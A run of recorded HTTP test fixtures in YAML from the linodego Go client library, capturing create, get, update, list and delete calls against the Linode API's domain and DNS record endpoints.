X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"name":"renamed"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/domains/1899360/records/22122785 method: PUT response: body: '{"id": 22122785, "type": "A", "name": "renamed", "target": "127.0.0.1", "priority": 0, "weight": 0, "port": 0, "service": null, "protocol": null, "ttl_sec": 0, "tag": null, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "240" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - domains:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/domains/1899360/records/22122785 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - domains:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/domains/1899360 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - domains:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestDomainRecords_List.yaml000066400000000000000000000176571455402072200320430ustar00rootroot00000000000000--- version: 1 interactions: - request: body: '{"domain":"linodego-blue-test.com","type":"master","soa_email":"example@example.com","master_ips":null,"axfr_ips":null,"tags":null}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/domains method: POST response: body: '{"id": 1899361, "type": "master", "domain": "linodego-blue-test.com", "tags": [], "group": "", "status": "active", "errors": "", "description": "", "soa_email": "example@example.com", "retry_sec": 0, "master_ips": [], "axfr_ips": [], "expire_sec": 0, "refresh_sec": 0, "ttl_sec": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "350" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - domains:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"type":"A","name":"a","target":"127.0.0.1"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/domains/1899361/records method: POST response: body: '{"id": 22122786, "type": "A", "name": "a", "target": "127.0.0.1", "priority": 0, "weight": 0, "port": 0, "service": null, "protocol": null, "ttl_sec": 0, "tag": null, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "234" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - domains:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"name":"a"}' url: https://api.linode.com/v4beta/domains/1899361/records method: GET response: body: '{"data": [{"id": 22122786, "type": "A", "name": "a", "target": "127.0.0.1", "priority": 0, "weight": 0, "port": 0, "service": null, "protocol": null, "ttl_sec": 0, "tag": null, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "283" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - domains:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/domains/1899361/records/22122786 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - domains:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/domains/1899361 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - domains:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" TestDomainRecords_ListMultiplePages.yaml000066400000000000000000000176571455402072200344600ustar00rootroot00000000000000golang-github-linode-linodego-1.28.0/test/integration/fixtures--- version: 1 interactions: - request: body: '{"domain":"linodego-blue-test.com","type":"master","soa_email":"example@example.com","master_ips":null,"axfr_ips":null,"tags":null}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/domains method: POST response: body: '{"id": 1899362, "type": "master", "domain": "linodego-blue-test.com", "tags": [], "group": "", "status": "active", "errors": "", "description": "", "soa_email": "example@example.com", "retry_sec": 0, "master_ips": [], "axfr_ips": [], "expire_sec": 0, "refresh_sec": 0, "ttl_sec": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "350" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - domains:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"type":"A","name":"a","target":"127.0.0.1"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/domains/1899362/records method: POST response: body: '{"id": 22122787, "type": "A", "name": "a", "target": "127.0.0.1", "priority": 0, "weight": 0, "port": 0, "service": null, "protocol": null, "ttl_sec": 0, "tag": null, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "234" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - domains:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"name":"a"}' url: https://api.linode.com/v4beta/domains/1899362/records method: GET response: body: '{"data": [{"id": 22122787, "type": "A", "name": "a", "target": "127.0.0.1", "priority": 0, "weight": 0, "port": 0, "service": null, "protocol": null, "ttl_sec": 0, "tag": null, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "283" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - domains:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/domains/1899362/records/22122787 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - domains:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/domains/1899362 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - domains:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestDomain_Create.yaml000066400000000000000000000062741455402072200310020ustar00rootroot00000000000000--- version: 1 interactions: - request: body: '{"domain":"linodego-blue-test.com","type":"master","soa_email":"example@example.com","master_ips":null,"axfr_ips":null,"tags":null}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/domains method: POST response: body: '{"id": 1899364, "type": "master", "domain": "linodego-blue-test.com", "tags": [], "group": "", "status": "active", "errors": "", "description": "", "soa_email": "example@example.com", "retry_sec": 0, "master_ips": [], "axfr_ips": [], "expire_sec": 0, "refresh_sec": 0, "ttl_sec": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "350" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - domains:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/domains/1899364 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - domains:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestDomain_Get.yaml000066400000000000000000000117411455402072200303110ustar00rootroot00000000000000--- version: 1 interactions: - request: body: '{"domain":"linodego-blue-test.com","type":"master","soa_email":"example@example.com","master_ips":null,"axfr_ips":null,"tags":null}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/domains method: POST response: body: '{"id": 1899367, "type": "master", "domain": "linodego-blue-test.com", "tags": [], "group": "", "status": "active", "errors": "", "description": "", "soa_email": "example@example.com", "retry_sec": 0, "master_ips": [], "axfr_ips": [], "expire_sec": 0, "refresh_sec": 0, "ttl_sec": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "350" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - domains:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/domains/1899367 method: GET response: body: '{"id": 1899367, "type": "master", "domain": "linodego-blue-test.com", "tags": [], "group": "", "status": "active", "errors": "", "description": "", "soa_email": "example@example.com", "retry_sec": 0, "master_ips": [], "axfr_ips": [], "expire_sec": 0, "refresh_sec": 0, "ttl_sec": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "350" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - domains:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/domains/1899367 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - domains:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestDomain_Update.yaml000066400000000000000000000117421455402072200310150ustar00rootroot00000000000000--- version: 1 interactions: - request: body: '{"domain":"linodego-blue-test.com","type":"master","soa_email":"example@example.com","master_ips":null,"axfr_ips":null,"tags":null}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/domains method: POST response: body: '{"id": 1899365, "type": "master", "domain": "linodego-blue-test.com", "tags": [], "group": "", "status": "active", "errors": "", "description": "", "soa_email": "example@example.com", "retry_sec": 0, "master_ips": [], "axfr_ips": [], "expire_sec": 0, "refresh_sec": 0, "ttl_sec": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "350" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - domains:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"domain":"linodego-renamed-domain.com","master_ips":null,"axfr_ips":null,"tags":null}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/domains/1899365 method: PUT response: body: '{"id": 1899365, "type": "master", "domain": "linodego-renamed-domain.com", "tags": [], "group": "", "status": "active", "errors": "", "description": "", "soa_email": "example@example.com", "retry_sec": 0, "master_ips": [], "axfr_ips": [], "expire_sec": 0, "refresh_sec": 0, "ttl_sec": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "355" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - domains:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/domains/1899365 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - domains:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestDomain_ZoneFile_Get.yaml000066400000000000000000000112051455402072200320770ustar00rootroot00000000000000--- version: 1 interactions: - request: body: '{"domain":"linodego-blue-test.com","type":"master","soa_email":"example@example.com","master_ips":null,"axfr_ips":null,"tags":null}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/domains method: POST response: body: '{"id": 1899368, "type": "master", "domain": "linodego-blue-test.com", "tags": [], "group": "", "status": "active", "errors": "", "description": "", "soa_email": "example@example.com", "retry_sec": 0, "master_ips": [], "axfr_ips": [], "expire_sec": 0, "refresh_sec": 0, "ttl_sec": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "350" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - domains:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/domains/1899368/zone-file method: GET response: body: '{"zone_file": []}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "17" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - domains:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/domains/1899368 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, 